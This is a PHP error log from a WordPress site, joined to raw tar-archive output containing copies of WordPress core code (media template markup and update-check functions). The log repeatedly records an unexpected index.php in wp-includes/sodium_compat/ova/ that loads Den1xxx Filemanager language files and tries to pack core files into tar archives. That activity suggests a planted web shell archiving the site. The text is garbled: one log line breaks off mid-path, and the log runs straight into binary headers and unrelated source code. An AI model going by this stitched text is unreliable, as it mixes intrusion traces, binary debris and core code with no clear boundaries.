BadMethodCallException: phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1118 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1118): PharData->compress(4096, '.tar.gz') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1118 [01-Sep-2025 17:34:13 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 17:34:18 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 17:35:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 17:35:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 01:59:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 01:59:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 12:35:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 12:35:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 12:36:00 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/Compat.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Compat.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1117 [02-Sep-2025 13:29:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 13:29:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 13:29:19 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [02-Sep-2025 13:29:19 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [02-Sep-2025 13:29:19 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [02-Sep-2025 13:29:19 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [02-Sep-2025 13:29:19 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [02-Sep-2025 13:29:19 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [02-Sep-2025 13:32:03 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 13:32:08 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 13:32:08 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [02-Sep-2025 13:32:13 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [02-Sep-2025 13:32:13 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [02-Sep-2025 13:32:13 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [02-Sep-2025 13:32:13 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [02-Sep-2025 13:32:13 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [02-Sep-2025 13:38:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 13:38:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 13:38:53 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [02-Sep-2025 13:38:53 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [02-Sep-2025 13:38:53 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [02-Sep-2025 13:38:53 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [02-Sep-2025 13:38:53 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [02-Sep-2025 13:38:53 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [02-Sep-2025 15:14:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 15:14:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 15:14:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 15:15:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 15:15:28 UTC] PHP Warning: Undefined variable $ext in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1118 [02-Sep-2025 15:15:30 UTC] PHP Warning: Undefined variable $ext in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1118 [02-Sep-2025 15:53:21 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 15:53:26 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 15:53:42 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/sodium_compat.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/lib/sodium_compat.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1117 [02-Sep-2025 16:26:55 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 16:27:00 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 16:27:00 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/SodiumException.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/SodiumException.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1117 [02-Sep-2025 22:16:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 22:16:20 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 22:16:20 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [02-Sep-2025 22:16:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [02-Sep-2025 22:16:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [02-Sep-2025 22:16:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [02-Sep-2025 22:16:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [02-Sep-2025 22:16:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [03-Sep-2025 05:04:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 05:04:49 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 05:04:49 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [03-Sep-2025 05:04:49 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [03-Sep-2025 05:04:49 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [03-Sep-2025 05:04:49 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [03-Sep-2025 05:04:49 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [03-Sep-2025 05:04:49 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [03-Sep-2025 07:41:45 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 07:41:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-inclu[03-Sep-2025 18:19:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:20:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:22:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:22:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:49:18 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:49:20 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:49:22 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:49:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:49:31 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:49:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:49:36 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:49:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:50:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:50:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 PK $[ݖumedia-template.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/media-template.php000064400000173124150556376330020562 0ustar00 <# var w_rule = '', classes = [], w, h, settings = wp.media.view.settings, isYouTube = isVimeo = false; if ( ! _.isEmpty( data.model.src ) ) { isYouTube = data.model.src.match(/youtube|youtu\.be/); isVimeo = -1 !== data.model.src.indexOf('vimeo'); } if ( settings.contentWidth && data.model.width >= settings.contentWidth ) { w = settings.contentWidth; } else { w = data.model.width; } if ( w !== data.model.width ) { h = Math.ceil( ( data.model.height * w ) / data.model.width ); } else { h = data.model.height; } if ( w ) { w_rule = 'width: ' + w + 'px; '; } if ( isYouTube ) { classes.push( 'youtube-video' ); } if ( isVimeo ) { classes.push( 'vimeo-video' ); } #>
Learn how to describe the purpose of the image%3$s. Leave empty if the image is purely decorative.' ), /* translators: Localized tutorial, if one exists. W3C Web Accessibility Initiative link has list of existing translations. */ esc_url( __( 'https://www.w3.org/WAI/tutorials/images/decision-tree/' ) ), 'target="_blank"', sprintf( ' %s', /* translators: Hidden accessibility text. */ __( '(opens in a new tab)' ) ) ); ?> version_checked ) { $current = false; } if ( ! is_object( $current ) ) { $current = new stdClass(); $current->updates = array(); $current->version_checked = wp_get_wp_version(); } if ( ! empty( $extra_stats ) ) { $force_check = true; } // Wait 1 minute between multiple version check requests. $timeout = MINUTE_IN_SECONDS; $time_not_changed = isset( $current->last_checked ) && $timeout > ( time() - $current->last_checked ); if ( ! $force_check && $time_not_changed ) { return; } /** * Filters the locale requested for WordPress core translations. * * @since 2.8.0 * * @param string $locale Current locale. */ $locale = apply_filters( 'core_version_check_locale', get_locale() ); // Update last_checked for current to prevent multiple blocking requests if request hangs. $current->last_checked = time(); set_site_transient( 'update_core', $current ); if ( method_exists( $wpdb, 'db_server_info' ) ) { $mysql_version = $wpdb->db_server_info(); } elseif ( method_exists( $wpdb, 'db_version' ) ) { $mysql_version = preg_replace( '/[^0-9.].*/', '', $wpdb->db_version() ); } else { $mysql_version = 'N/A'; } if ( is_multisite() ) { $num_blogs = get_blog_count(); $wp_install = network_site_url(); $multisite_enabled = 1; } else { $multisite_enabled = 0; $num_blogs = 1; $wp_install = home_url( '/' ); } $extensions = get_loaded_extensions(); sort( $extensions, SORT_STRING | SORT_FLAG_CASE ); $query = array( 'version' => wp_get_wp_version(), 'php' => $php_version, 'locale' => $locale, 'mysql' => $mysql_version, 'local_package' => isset( $wp_local_package ) ? $wp_local_package : '', 'blogs' => $num_blogs, 'users' => get_user_count(), 'multisite_enabled' => $multisite_enabled, 'initial_db_version' => get_site_option( 'initial_db_version' ), 'extensions' => array_combine( $extensions, array_map( 'phpversion', $extensions ) ), 'platform_flags' => array( 'os' => PHP_OS, 'bits' => PHP_INT_SIZE === 4 ? 32 : 64, ), 'image_support' => array(), ); if ( function_exists( 'gd_info' ) ) { $gd_info = gd_info(); // Filter to supported values. $gd_info = array_filter( $gd_info ); // Add data for GD WebP, AVIF, HEIC and JPEG XL support. $query['image_support']['gd'] = array_keys( array_filter( array( 'webp' => isset( $gd_info['WebP Support'] ), 'avif' => isset( $gd_info['AVIF Support'] ), 'heic' => isset( $gd_info['HEIC Support'] ), 'jxl' => isset( $gd_info['JXL Support'] ), ) ) ); } if ( class_exists( 'Imagick' ) ) { // Add data for Imagick WebP, AVIF, HEIC and JPEG XL support. $query['image_support']['imagick'] = array_keys( array_filter( array( 'webp' => ! empty( Imagick::queryFormats( 'WEBP' ) ), 'avif' => ! empty( Imagick::queryFormats( 'AVIF' ) ), 'heic' => ! empty( Imagick::queryFormats( 'HEIC' ) ), 'jxl' => ! empty( Imagick::queryFormats( 'JXL' ) ), ) ) ); } /** * Filters the query arguments sent as part of the core version check. * * WARNING: Changing this data may result in your site not receiving security updates. * Please exercise extreme caution. * * @since 4.9.0 * @since 6.1.0 Added `$extensions`, `$platform_flags`, and `$image_support` to the `$query` parameter. * * @param array $query { * Version check query arguments. * * @type string $version WordPress version number. * @type string $php PHP version number. * @type string $locale The locale to retrieve updates for. * @type string $mysql MySQL version number. * @type string $local_package The value of the $wp_local_package global, when set. * @type int $blogs Number of sites on this WordPress installation. * @type int $users Number of users on this WordPress installation. * @type int $multisite_enabled Whether this WordPress installation uses Multisite. * @type int $initial_db_version Database version of WordPress at time of installation. * @type array $extensions List of PHP extensions and their versions. * @type array $platform_flags List containing the operating system name and bit support. * @type array $image_support List of image formats supported by GD and Imagick. * } */ $query = apply_filters( 'core_version_check_query_args', $query ); $post_body = array( 'translations' => wp_json_encode( $translations ), ); if ( is_array( $extra_stats ) ) { $post_body = array_merge( $post_body, $extra_stats ); } // Allow for WP_AUTO_UPDATE_CORE to specify beta/RC/development releases. if ( defined( 'WP_AUTO_UPDATE_CORE' ) && in_array( WP_AUTO_UPDATE_CORE, array( 'beta', 'rc', 'development', 'branch-development' ), true ) ) { $query['channel'] = WP_AUTO_UPDATE_CORE; } $url = 'http://api.wordpress.org/core/version-check/1.7/?' . http_build_query( $query, '', '&' ); $http_url = $url; $ssl = wp_http_supports( array( 'ssl' ) ); if ( $ssl ) { $url = set_url_scheme( $url, 'https' ); } $doing_cron = wp_doing_cron(); $options = array( 'timeout' => $doing_cron ? 30 : 3, 'user-agent' => 'WordPress/' . wp_get_wp_version() . '; ' . home_url( '/' ), 'headers' => array( 'wp_install' => $wp_install, 'wp_blog' => home_url( '/' ), ), 'body' => $post_body, ); $response = wp_remote_post( $url, $options ); if ( $ssl && is_wp_error( $response ) ) { wp_trigger_error( __FUNCTION__, sprintf( /* translators: %s: Support forums URL. */ __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the support forums.' ), __( 'https://wordpress.org/support/forums/' ) ) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ), headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE ); $response = wp_remote_post( $http_url, $options ); } if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) { return; } $body = trim( wp_remote_retrieve_body( $response ) ); $body = json_decode( $body, true ); if ( ! is_array( $body ) || ! isset( $body['offers'] ) ) { return; } $offers = $body['offers']; foreach ( $offers as &$offer ) { foreach ( $offer as $offer_key => $value ) { if ( 'packages' === $offer_key ) { $offer['packages'] = (object) array_intersect_key( array_map( 'esc_url', $offer['packages'] ), array_fill_keys( array( 'full', 'no_content', 'new_bundled', 'partial', 'rollback' ), '' ) ); } elseif ( 'download' === $offer_key ) { $offer['download'] = esc_url( $value ); } else { $offer[ $offer_key ] = esc_html( $value ); } } $offer = (object) array_intersect_key( $offer, array_fill_keys( array( 'response', 'download', 'locale', 'packages', 'current', 'version', 'php_version', 'mysql_version', 'new_bundled', 'partial_version', 'notify_email', 'support_email', 'new_files', ), '' ) ); } $updates = new stdClass(); $updates->updates = $offers; $updates->last_checked = time(); $updates->version_checked = wp_get_wp_version(); if ( isset( $body['translations'] ) ) { $updates->translations = $body['translations']; } set_site_transient( 'update_core', $updates ); if ( ! empty( $body['ttl'] ) ) { $ttl = (int) $body['ttl']; if ( $ttl && ( time() + $ttl < wp_next_scheduled( 'wp_version_check' ) ) ) { // Queue an event to re-run the update check in $ttl seconds. wp_schedule_single_event( time() + $ttl, 'wp_version_check' ); } } // Trigger background updates if running non-interactively, and we weren't called from the update handler. if ( $doing_cron && ! doing_action( 'wp_maybe_auto_update' ) ) { /** * Fires during wp_cron, starting the auto-update process. * * @since 3.9.0 */ do_action( 'wp_maybe_auto_update' ); } } /** * Checks for available updates to plugins based on the latest versions hosted on WordPress.org. * * Despite its name this function does not actually perform any updates, it only checks for available updates. * * A list of all plugins installed is sent to api.wordpress.org, along with the site locale. * * Checks against the WordPress server at api.wordpress.org. Will only check * if WordPress isn't installing. * * @since 2.3.0 * * @global string $wp_version The WordPress version string. * * @param array $extra_stats Extra statistics to report to the WordPress.org API. */ function wp_update_plugins( $extra_stats = array() ) { if ( wp_installing() ) { return; } // If running blog-side, bail unless we've not checked in the last 12 hours. if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $plugins = get_plugins(); $translations = wp_get_installed_translations( 'plugins' ); $active = get_option( 'active_plugins', array() ); $current = get_site_transient( 'update_plugins' ); if ( ! is_object( $current ) ) { $current = new stdClass(); } $doing_cron = wp_doing_cron(); // Check for update on a different schedule, depending on the page. switch ( current_filter() ) { case 'upgrader_process_complete': $timeout = 0; break; case 'load-update-core.php': $timeout = MINUTE_IN_SECONDS; break; case 'load-plugins.php': case 'load-update.php': $timeout = HOUR_IN_SECONDS; break; default: if ( $doing_cron ) { $timeout = 2 * HOUR_IN_SECONDS; } else { $timeout = 12 * HOUR_IN_SECONDS; } } 